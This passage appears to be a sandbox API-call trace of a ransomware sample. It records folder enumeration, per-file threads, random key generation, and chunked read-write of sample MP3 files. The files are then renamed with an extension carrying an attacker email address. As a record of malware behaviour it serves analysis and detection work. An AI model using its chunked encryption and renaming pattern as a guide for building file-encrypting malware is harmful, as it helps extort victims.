(x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.076] wcscat (in: _Dest=0x444720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.076] wcscat (in: _Dest=0x444720, _Source="review_same_reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" [0067.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x444720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0067.077] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0067.077] wcscmp (_String1="review_shared.gif", _String2=".") returned 1 [0067.077] wcscmp (_String1="review_shared.gif", _String2="..") returned 1 [0067.077] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x96e7d18 [0067.077] wcscpy (in: _Dest=0x96e7d18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.077] wcscat (in: _Dest=0x96e7d18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.077] wcscat (in: _Dest=0x96e7d18, _Source="review_shared.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" [0067.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0067.078] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0067.078] wcscmp (_String1="rss.gif", _String2=".") returned 1 [0067.078] wcscmp (_String1="rss.gif", _String2="..") returned 1 [0067.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x19805948 [0067.078] wcscpy (in: _Dest=0x19805948, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.078] wcscat (in: _Dest=0x19805948, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.078] wcscat (in: _Dest=0x19805948, _Source="rss.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" [0067.078] CreateThread (lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805948, dwCreationFlags=0x0, lpThreadId=0x0) Thread: id = 584 os_tid = 0x8f4 [0049.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee338 [0049.890] wcscpy (in: _Dest=0x4ee338, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0049.890] wcscat (in: _Dest=0x4ee338, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0049.890] wcscat (in: _Dest=0x4ee338, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0049.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b80c8 [0049.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0049.891] wcscmp (_String1=".", _String2=".") returned 0 [0049.891] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.891] wcscmp (_String1="..", _String2=".") returned 1 [0049.891] wcscmp (_String1="..", _String2="..") returned 0 [0049.891] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0049.891] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0049.891] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0049.891] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02120 [0049.891] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0049.891] wcscat (in: _Dest=0x5e02120, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0049.891] wcscat (in: _Dest=0x5e02120, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0051.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0051.309] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0051.309] FindClose (in: hFindFile=0x4409a0 | out: hFindFile=0x4409a0) returned 1 [0051.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b80c8) returned 1 [0051.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee338) returned 1 [0051.310] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfc8) returned 1 Thread: id = 585 os_tid = 0xa2c [0049.892] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 0x20 [0051.487] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", dwFileAttributes=0x20) returned 1 [0052.401] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd08 [0052.401] GetFileSizeEx (in: hFile=0xd08, lpFileSize=0xe51f850 | out: lpFileSize=0xe51f850*=8414449) returned 1 [0052.401] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x8064ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.401] ReadFile (in: hFile=0xd08, lpBuffer=0xe51f7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe51f7d0, lpOverlapped=0x0 | out: lpBuffer=0xe51f7d4*, lpNumberOfBytesRead=0xe51f7d0*=0x4, lpOverlapped=0x0) returned 1 [0052.402] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0052.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9148 [0052.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.402] NtQuerySystemTime (in: CurrentTime=0xe51f7b0 | out: CurrentTime=0xe51f7b0*=132174898163772000) returned 0x0 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x1a2d98a1 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x4a12940e [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x5d3bdd0b [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x3eb5775a [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x40934520 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x15c73b84 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x71ca74f0 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x2697d917 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x65ef6fcb [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x475d089f [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x51beedec [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x3e75c35 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x3f83666f [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x133073ed [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x400cf405 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x426e2823 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x643152f1 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x7f25686e [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x21ad77ad [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x1cb88291 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x6a4a0754 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x615a6155 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x1db259e6 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x27a3ff69 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x7bf15ba6 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x36780a5c [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0xc837171 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x5be7b590 [0052.403] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x7a7644f8 [0052.404] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x5808702b [0052.404] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0xee874d3 [0052.404] RtlRandomEx (in: Seed=0xe51f7bc | out: Seed=0xe51f7bc) returned 0x1988b381 [0052.417] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.417] ReadFile (in: hFile=0xd08, lpBuffer=0x12ef3a80, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12ef3a80*, lpNumberOfBytesRead=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0052.418] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0052.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e90d0) returned 1 [0052.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f00288 [0052.423] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0052.423] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0052.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9170) returned 1 [0052.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.423] WriteFile (in: hFile=0xd08, lpBuffer=0x12f00288*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12f00288*, lpNumberOfBytesWritten=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0057.711] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f00288) returned 1 [0057.711] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x40d800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.711] ReadFile (in: hFile=0xd08, lpBuffer=0x12ef3a80, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12ef3a80*, lpNumberOfBytesRead=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0057.714] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x40d800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cd0 [0057.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cd0) returned 1 [0057.715] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f00288 [0057.715] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cd0 [0057.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ca8 [0057.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ca8) returned 1 [0057.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.716] WriteFile (in: hFile=0xd08, lpBuffer=0x12f00288*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12f00288*, lpNumberOfBytesWritten=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0059.216] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f00288) returned 1 [0059.216] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x7f9cf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.216] ReadFile (in: hFile=0xd08, lpBuffer=0x12ef3a80, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12ef3a80*, lpNumberOfBytesRead=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0059.219] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x7f9cf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419eb0 [0059.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419eb0) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f00288 [0059.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419eb0 [0059.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b90 [0059.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b90) returned 1 [0059.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.221] WriteFile (in: hFile=0xd08, lpBuffer=0x12f00288*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe51f768, lpOverlapped=0x0 | out: lpBuffer=0x12f00288*, lpNumberOfBytesWritten=0xe51f768*=0xc800, lpOverlapped=0x0) returned 1 [0062.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f00288) returned 1 [0062.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d868 [0062.316] SetFilePointerEx (in: hFile=0xd08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.316] WriteFile (in: hFile=0xd08, lpBuffer=0x4419e0*, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0xe51f810, lpOverlapped=0x0 | out: lpBuffer=0x4419e0*, lpNumberOfBytesWritten=0xe51f810*=0x147, lpOverlapped=0x0) returned 1 [0062.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4419e0) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceba0) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e90d0) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec30) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d868) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9148) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9198) returned 1 [0063.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e91c0) returned 1 [0063.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442d00 [0063.330] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" [0063.330] wcscat (in: _Dest=0x442d00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0063.330] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe51f7c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0063.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.331] NtQueryInformationFile (in: FileHandle=0xd08, IoStatusBlock=0xe51f7d4, FileInformation=0xe51f7ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe51f7d4, FileInformation=0xe51f7ac) returned 0x0 [0063.331] NtSetInformationFile (FileHandle=0xd08, IoStatusBlock=0xe51f7d4, FileInformation=0xe51f7ac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0063.333] FlushFileBuffers (hFile=0xd08) returned 1 [0066.219] CloseHandle (hObject=0xd08) Thread: id = 586 os_tid = 0x92c [0049.893] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 0x20 [0051.247] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", dwFileAttributes=0x20) returned 1 [0053.866] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc7c [0053.866] GetFileSizeEx (in: hFile=0xc7c, lpFileSize=0xdf3fd44 | out: lpFileSize=0xdf3fd44*=4113874) returned 1 [0053.866] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x3ec5ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.866] ReadFile (in: hFile=0xc7c, lpBuffer=0xdf3fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdf3fcc4, lpOverlapped=0x0 | out: lpBuffer=0xdf3fcc8*, lpNumberOfBytesRead=0xdf3fcc4*=0x4, lpOverlapped=0x0) returned 1 [0053.869] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294a8 [0053.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429430 [0053.869] NtQuerySystemTime (in: CurrentTime=0xdf3fca4 | out: CurrentTime=0xdf3fca4*=132174898178436000) returned 0x0 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x4317071d [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x4260057a [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x3a4a9935 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x71d53dae [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x14ac29f3 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x69250559 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0xcc268e3 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x759261aa [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x53a04c76 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x22fb5d42 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x280d8ba6 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x2151b8a7 